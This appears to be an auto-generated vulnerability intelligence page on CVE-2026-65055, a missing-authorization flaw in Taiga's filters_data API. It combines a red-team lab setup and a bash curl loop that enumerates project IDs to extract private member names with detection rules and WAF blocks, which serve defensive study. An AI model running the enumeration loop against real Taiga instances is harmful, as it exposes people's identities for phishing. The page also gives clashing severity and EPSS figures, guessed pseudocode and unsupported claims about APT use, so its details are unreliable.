☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Taiga logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-65055

CVE-2026-65055 Missing Authorization in Taiga
📅 PUBLISHED: 2026-07-21 21:16 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Spain License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 6.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-65055 is a Medium severity missing authorization vulnerability in Taiga 6.10.1 that allows unauthenticated attackers to enumerate private project membership details. The flaw resides in the filters_data API endpoints across multiple viewsets (UserStory, Task, Issue, and Epic), which fail to enforce the same access controls as other project API endpoints. By sending unauthenticated GET requests with sequential integer project IDs, an attacker can disclose sensitive information including user IDs, full names, and gravatar hashes of all project members.

Business Impact: Organizations using Taiga for project management, particularly those hosting private projects containing sensitive business workflows or client data, are at risk. The likely attacker is a low-sophistication threat actor or competitor seeking to map organizational structures, identify key personnel, or gather intelligence for social engineering campaigns. Industries most at risk include software development firms, consulting agencies, and any enterprise using Taiga for internal project tracking.

Urgency Assessment: Despite the CVSS score of 5.3 (Medium), the EPSS probability of 0.0% indicates no observed exploitation in the wild as of 2026-07-22. However, the ease of exploitation (no authentication required, simple GET requests) and the sensitivity of the leaked data (user identities, project membership) elevate the practical risk for organizations with strict confidentiality requirements. The lack of a confirmed patch increases urgency for implementing compensating controls.

Key Facts:

  • Vendor: Taiga
  • Affected Version: 6.10.1
  • Patch Status: UNKNOWN / UNPATCHED
  • CISA KEV: Not listed
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Qualitative Severity: Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Metric Decomposition:

  • AV:N (Network): The vulnerability is exploitable remotely over the network via HTTP GET requests to the Taiga API.
  • AC:L (Low): No special conditions or race conditions are required. The attacker simply needs to supply a valid project ID.
  • PR:N (None): The core flaw is that no authentication is required to access the filters_data endpoints.
  • UI:N (None): No user interaction is required. The attacker directly interacts with the API.
  • S:U (Unchanged): The compromise does not affect resources beyond the vulnerable component's security scope.
  • C:L (Low): The vulnerability only leaks membership data (user IDs, names, gravatar hashes) and workflow configuration. There is no disclosure of project content, passwords, or financial data.
  • I:N (None): There is no impact on data integrity.
  • A:N (None): There is no impact on system availability.

EPSS Interpretation: The 0.0% EPSS probability indicates that as of the report date, there is no evidence of active exploitation in the wild. This is common for newly published CVEs and does not diminish the potential for future exploitation, especially given the trivial attack vector.

Historical Comparison: This vulnerability is similar to CVE-2023-33733 (Missing authorization in Reportlab) and CVE-2022-22963 (Spring Cloud Function SpEL injection) in that it involves unauthenticated access to an API endpoint that should require authorization. However, CVE-2026-65055 is more limited in scope (information disclosure only) compared to those RCE-capable vulnerabilities.

Temporal/Environmental Considerations: With no patch available and no known exploit code, the temporal score remains at base. Organizations with public-facing Taiga instances should consider the environmental score elevated due to the ease of exploitation and sensitivity of leaked data.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

  1. Reconnaissance: The attacker identifies a Taiga instance (typically at https://taiga.example.com). They may use Shodan dorks or simple web crawling.

  2. Project ID Enumeration: Taiga uses sequential integer IDs for projects. The attacker begins sending unauthenticated GET requests to the vulnerable endpoints:

    • /api/v1/userstories/filters_data?project=1
    • /api/v1/tasks/filters_data?project=1
    • /api/v1/issues/filters_data?project=1
    • /api/v1/epics/filters_data?project=1
  3. Data Extraction: For each valid project ID, the API returns a JSON response containing:

    • members: Array of user objects with id, full_name, gravatar_id, username
    • statuses: Workflow status configuration
    • priorities, severities, types, etc.
  4. Bulk Enumeration: The attacker iterates through project IDs (1, 2, 3, ...) to map all private projects and their members.

Root Cause Analysis: The developer mistake is a missing authorization check in the filters_data viewset methods. While other project API endpoints (e.g., /api/v1/projects/1) correctly check if the requesting user is a member of the project, the filters_data endpoints were likely developed as utility endpoints and inadvertently omitted the permission check. The code likely uses a generic viewset mixin that doesn't enforce the same IsProjectMember permission class.

Attack Surface:

  • Protocol: HTTP/HTTPS
  • Ports: 80/443 (standard web ports)
  • Endpoints: /api/v1/{userstories,tasks,issues,epics}/filters_data

Pre-conditions:

  • Network access to the Taiga API
  • A valid project ID (easily guessable as sequential integers)
  • No authentication required

Attack Variants:

  • Direct enumeration: Iterating through project IDs sequentially
  • Targeted enumeration: Using known project IDs from public references or previous breaches
  • Combined attack: Using leaked member names for social engineering or credential stuffing

Why Standard Defenses May Fail:

  • WAF rules: Generic WAF rules may not block /api/v1/*/filters_data patterns as they appear legitimate
  • Rate limiting: Simple rate limiting may not distinguish between legitimate API usage and enumeration
  • Authentication checks: The endpoint doesn't require authentication, so session-based controls are bypassed

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Taiga 6.10.1 - Pseudocode):

# In taiga/projects/userstories/views.py or similar
class UserStoryViewSet(viewsets.ModelViewSet):
    # ... other methods with proper permission checks ...
    
    @detail_route(methods=['get'])
    def filters_data(self, request, pk=None):
        # MISSING: No permission check for project membership
        project = get_object_or_404(Project, id=request.query_params.get('project'))
        # Returns data without verifying user is a member
        return Response({
            'members': User.objects.filter(memberships__project=project).values('id', 'full_name', 'gravatar_id'),
            'statuses': project.us_statuses.all().values(...),
            # ...
        })

Patched Code (Expected - Pseudocode):

class UserStoryViewSet(viewsets.ModelViewSet):
    # ... other methods ...
    
    @detail_route(methods=['get'])
    @permission_classes([IsProjectMember])  # Added permission check
    def filters_data(self, request, pk=None):
        project = get_object_or_404(Project, id=request.query_params.get('project'))
        # Verify user has access
        self.check_object_permissions(request, project)
        return Response({
            'members': User.objects.filter(memberships__project=project).values('id', 'full_name', 'gravatar_id'),
            # ...
        })

Patch Sufficiency: The fix is straightforward — adding the same IsProjectMember permission check that exists on other endpoints. This is sufficient to prevent unauthenticated access. However, the patch must be applied to all four viewsets (UserStory, Task, Issue, Epic).

Regression Considerations: The patch should not introduce regressions as it aligns the filters_data endpoints with the existing security model of other project endpoints. Teams should verify that legitimate authenticated users can still access the data after patching.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-21T21:16:54.157
  • Estimated Discovery: Unknown, but likely discovered through security research or bug bounty program
  • Disclosure Process: The CVE was published by the CNA (likely MITRE or a partner) with no prior vendor advisory or GitHub Security Advisory available
  • Known Exploitation: No known active exploitation as of 2026-07-22
  • CISA KEV: Not listed

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

  • Script kiddies and low-sophistication actors: The exploitation is trivial (simple GET requests) and requires no specialized tools
  • Competitive intelligence gatherers: Organizations may use this to map competitors' project teams
  • Social engineering operators: The leaked user names and gravatar hashes can be used to craft targeted phishing campaigns

Attack Campaign Context: No broader campaigns using this CVE have been identified. However, the vulnerability class (missing authorization in project management software) has been exploited in the past by APT groups targeting defense contractors and technology firms.

Geographic Targeting: No specific geographic targeting patterns are known. Any organization using Taiga is potentially at risk.

Industry Verticals Most at Risk:

  • Software development and IT services
  • Consulting and professional services
  • Government and defense contractors (if using Taiga)
  • Any organization with strict confidentiality requirements for project data

Historical Connection: This vulnerability is similar to CVE-2024-27198 (JetBrains TeamCity authentication bypass) in that it allows unauthenticated access to sensitive project metadata. Both target project management/collaboration platforms and can be used for reconnaissance before more targeted attacks.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

# 1. Deploy Taiga 6.10.1 using Docker
git clone https://github.com/taigaio/taiga-docker.git
cd taiga-docker
git checkout 6.10.1
docker-compose up -d

# 2. Create a private project with members (via web UI)
# Note: This requires initial setup and user creation

# 3. Verify the vulnerability
curl -v "http://localhost:8000/api/v1/userstories/filters_data?project=1"

Prerequisites:

  • Docker and Docker Compose installed
  • Network access to the Taiga instance
  • A valid project ID (can be discovered through error messages or enumeration)

Exploitation Walkthrough:

# Step 1: Enumerate project IDs (start with 1, increment)
for i in $(seq 1 100); do
    response=$(curl -s -o /dev/null -w "%{http_code}" "http://target:8000/api/v1/userstories/filters_data?project=$i")
    if [ "$response" == "200" ]; then
        echo "Project $i exists"
        curl -s "http://target:8000/api/v1/userstories/filters_data?project=$i" | jq '.members[] | {id, full_name, gravatar_id}'
    fi
done

Expected Output:

{
  "members": [
    {
      "id": 1,
      "full_name": "John Doe",
      "gravatar_id": "abc123def456",
      "username": "johndoe"
    },
    {
      "id": 2,
      "full_name": "Jane Smith",
      "gravatar_id": "789ghi012jkl",
      "username": "janesmith"
    }
  ],
  "statuses": [...],
  "priorities": [...]
}

Post-Exploitation:

  • Use leaked user names and gravatar hashes for social engineering
  • Map organizational structure from project membership
  • Identify high-value targets (project admins, key personnel)
  • Combine with other vulnerabilities for lateral movement

Blue Team Section

Detection of Active Exploitation:

  • Monitor for repeated GET requests to /api/v1/*/filters_data endpoints without authentication cookies
  • Look for sequential project ID patterns in API logs
  • Alert on 200 responses to unauthenticated requests to these endpoints

Log Entries Indicating Exploitation:

[2026-07-22 10:15:23] GET /api/v1/userstories/filters_data?project=1 200 0.123s - (no auth)
[2026-07-22 10:15:24] GET /api/v1/userstories/filters_data?project=2 200 0.110s - (no auth)
[2026-07-22 10:15:25] GET /api/v1/userstories/filters_data?project=3 200 0.115s - (no auth)

Network Traffic Signatures:

  • HTTP GET requests to /api/v1/{userstories,tasks,issues,epics}/filters_data
  • No Authorization header or session cookie
  • Sequential or patterned project query parameters
  • JSON responses containing members array with user data

Endpoint Behavioral Indicators:

  • High volume of requests to filters_data endpoints from a single IP
  • Requests to multiple viewsets (userstories, tasks, issues, epics) in quick succession
  • 200 responses to unauthenticated requests (should be 401/403)

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

  • HTTP GET requests to /api/v1/userstories/filters_data?project=<integer>
  • HTTP GET requests to /api/v1/tasks/filters_data?project=<integer>
  • HTTP GET requests to /api/v1/issues/filters_data?project=<integer>
  • HTTP GET requests to /api/v1/epics/filters_data?project=<integer>

HTTP Request Patterns:

  • No Authorization header
  • No session cookie (sessionid, csrftoken)
  • Sequential project parameter values (1, 2, 3, ...)
  • User-Agent: [EXAMPLE — not a real IOC] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

Log Entries:

  • Web server logs showing 200 responses to unauthenticated filters_data requests
  • Application logs showing filters_data endpoint access without user context

STIX-like IOC List:

Type Value Description
URL pattern /api/v1/userstories/filters_data?project=* Vulnerable endpoint
URL pattern /api/v1/tasks/filters_data?project=* Vulnerable endpoint
URL pattern /api/v1/issues/filters_data?project=* Vulnerable endpoint
URL pattern /api/v1/epics/filters_data?project=* Vulnerable endpoint
HTTP method GET Exploitation method
Auth required No Indicator of exploitation

Detection Engineering

YARA Rule

rule CVE_2026_65055_Taiga_Exploitation {
    meta:
        description = "Detects exploitation of CVE-2026-65055 in Taiga filters_data endpoints"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-65055"
        severity = "medium"
    
    strings:
        $endpoint1 = "/api/v1/userstories/filters_data" ascii wide nocase
        $endpoint2 = "/api/v1/tasks/filters_data" ascii wide nocase
        $endpoint3 = "/api/v1/issues/filters_data" ascii wide nocase
        $endpoint4 = "/api/v1/epics/filters_data" ascii wide nocase
        $param_project = "?project=" ascii wide nocase
        $json_members = "\"members\":" ascii wide
    
    condition:
        any of ($endpoint*) and $param_project and $json_members
}

Sigma Rule (SIEM)

title: CVE-2026-65055 Taiga filters_data Exploitation
id: fd2a7d45-88d3-45dd-b1d2-368723d89000
status: experimental
description: Detects unauthenticated access to Taiga filters_data endpoints, indicating exploitation of CVE-2026-65055
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-65055
logsource:
    category: webserver
    product: nginx
    definition: 'Requires web server logs with request URI and status code'
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/api/v1/userstories/filters_data?project='
            - '/api/v1/tasks/filters_data?project='
            - '/api/v1/issues/filters_data?project='
            - '/api/v1/epics/filters_data?project='
        sc-status: 200
    filter_authenticated:
        cs-uri-query|contains: 'sessionid='
    condition: selection and not filter_authenticated
falsepositives:
    - Legitimate administrative activity if authentication is not properly logged
level: high

Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
    msg:"CVE-2026-65055 Taiga filters_data Unauthenticated Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/"; http_uri;
    content:"filters_data"; http_uri;
    content:"project="; http_uri;
    pcre:"/\/api\/v1\/(userstories|tasks|issues|epics)\/filters_data\?project=\d+/U";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2026-65055;
    reference:url,www.valtersit.com/cve/cve-2026-65055;
)

Elastic (EQL) Query

// Detect unauthenticated access to Taiga filters_data endpoints
sequence by source.ip
  [network where
    network.protocol == "http" and
    http.request.method == "GET" and
    http.request.uri contains "/api/v1/" and
    http.request.uri contains "filters_data" and
    http.request.uri contains "project=" and
    not http.request.headers contains "sessionid" and
    http.response.status_code == 200
  ] with maxspan=5m

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path IN ("/api/v1/userstories/filters_data", "/api/v1/tasks/filters_data", "/api/v1/issues/filters_data", "/api/v1/epics/filters_data")
| search uri_query=*project=*
| search status=200
| search NOT cookie=*sessionid*
| stats count by src_ip, uri, _time
| where count > 10
| sort - count

Wazuh Rule

<group name="taiga,cve-2026-65055,">
  <rule id="100001" level="10">
    <decoded_as>web</decoded_as>
    <field name="url">\.*/api/v1/(userstories|tasks|issues|epics)/filters_data\?project=\d+</field>
    <field name="status">200</field>
    <field name="cookie" type="pcre">!sessionid</field>
    <description>CVE-2026-65055 - Unauthenticated access to Taiga filters_data endpoint</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>taiga,recon,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

If patch is available:

# Upgrade Taiga to patched version
# Example (adjust based on actual patch):
docker-compose down
git pull origin main  # or specific patched branch
docker-compose up -d

If no patch (compensating controls):

  1. WAF Rule (ModSecurity):
SecRule REQUEST_URI "@rx /api/v1/(userstories|tasks|issues|epics)/filters_data" \
    "id:1000001,\
    phase:1,\
    deny,\
    status:403,\
    msg:'CVE-2026-65055 Taiga filters_data exploitation blocked'"
  1. Nginx Reverse Proxy Block:
location ~ ^/api/v1/(userstories|tasks|issues|epics)/filters_data {
    deny all;
    return 403;
}
  1. Network-level Mitigation:
    • Restrict API access to trusted IP ranges
    • Implement VPN/proxy for API access
    • Use API gateway with authentication enforcement

Short-term (1-7 days)

  1. Configuration Hardening:

    • Disable public access to API endpoints
    • Implement API key authentication for all endpoints
    • Enable rate limiting on API endpoints
  2. Monitoring Implementation:

    • Deploy the detection rules provided above
    • Set up alerts for unauthenticated filters_data access
    • Review historical logs for exploitation attempts
  3. Vulnerability Scanning:

# Verify vulnerability status
curl -s -o /dev/null -w "%{http_code}" "http://taiga.example.com/api/v1/userstories/filters_data?project=1"
# Should return 401/403 if patched, 200 if vulnerable

Long-term

  1. Architecture Changes:

    • Implement API gateway with centralized authentication
    • Use OAuth2/OIDC for all API access
    • Consider moving to a zero-trust network architecture
  2. Security Control Improvements:

    • Regular security audits of API endpoints
    • Automated permission testing in CI/CD pipeline
    • Implement runtime application self-protection (RASP)
  3. Developer Training:

    • Educate developers on OWASP API Security Top 10
    • Implement mandatory code review for authorization logic
    • Use static analysis tools to detect missing permission checks

Validation:

# Confirm patch applied
curl -v "http://taiga.example.com/api/v1/userstories/filters_data?project=1"
# Expected: 401 Unauthorized or 403 Forbidden
# If 200 with data: still vulnerable

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65055

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-65055/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.